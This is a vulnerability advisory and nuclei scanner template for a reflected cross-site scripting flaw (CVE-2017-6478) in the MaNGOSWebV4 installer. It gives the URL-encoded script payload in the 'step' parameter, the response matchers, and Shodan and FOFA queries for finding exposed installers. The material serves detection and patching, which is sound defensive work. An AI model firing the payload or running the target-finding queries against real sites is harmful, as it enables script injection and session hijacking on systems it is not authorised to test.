MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.6%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

paintballrefjosh/MaNGOSWebV4 < 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php (step parameter), letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL

Impact

Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.

Fix

Update to version 4.0.8 or later.

How to confirm it

Send: GET {{BaseURL}}/install/index.php?step=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "<script>alert(document.domain)</script>" and "MaNGOS Web Enhanced V4 Installer" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-6478 -u <target>

The full check

id: CVE-2017-6478

info:
  name: MaNGOSWebV4 < 4.0.8 - Cross-Site Scripting
  author: 0xr2r
  severity: medium
  description: |
   paintballrefjosh/MaNGOSWebV4 < 4.0.8 contains a reflected XSS caused by unsanitized input in install/index.php (step parameter), letting attackers execute arbitrary scripts in the victim's browser, exploit requires victim to visit a maliciously crafted URL
  impact: |
   Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
  remediation: |
   Update to version 4.0.8 or later.
  reference:
    - https://github.com/paintballrefjosh/MaNGOSWebV4/issues/15
    - https://github.com/paintballrefjosh/MaNGOSWebV4/releases/tag/4.0.8
    - https://www.exploit-db.com/exploits/52457
    - https://nvd.nist.gov/vuln/detail/CVE-2017-6478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-6478
    cwe-id: CWE-79
    epss-score: 0.02553
    epss-percentile: 0.85185
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"MaNGOS Web Enhanced V4 Installer"
    fofa-query: body="MaNGOS Web Enhanced V4 Installer"
  tags: cve,cve2017,xss,mangoswebv4,paintballrefjosh

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/index.php?step=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "MaNGOS Web Enhanced V4 Installer"
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from